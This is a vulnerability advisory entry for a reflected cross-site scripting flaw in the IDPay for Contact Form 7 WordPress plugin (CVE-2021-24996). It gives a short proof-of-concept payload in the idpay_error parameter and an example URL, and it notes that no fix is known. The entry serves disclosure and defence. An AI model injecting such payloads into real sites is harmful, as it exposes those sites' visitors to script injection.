WordPress Plugin Vulnerabilities

IDPay for Contact Form 7 <= 2.1.2 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the idpay_error parameter before outputting it back in the page leading to a Reflected Cross-Site Scripting

Proof of Concept

Append the following payload on a page where a form with an idPay payment interface is embed: &idpay_error=<script>alert(/XSS/)</script>

Example: https://example.com/contact-form/?idpay_error=%3Cscript%3Ealert(/XSS/)%3C/script%3E

Affects Plugins

Plugin icon
idpay-contact-form-7
No known fix

References

CVE
CVE-2021-24996

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Jeremie Amsellem
Submitter
Jeremie Amsellem
Submitter website
https://lp1.eu
Submitter twitter
lp1eu
Verified
Yes
WPVDB ID
6ee14423-f7ff-4433-987a-a1a6b7bd65e3

Timeline

Publicly Published
2021-11-23 (about 2 years ago)
Added
2022-02-15 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

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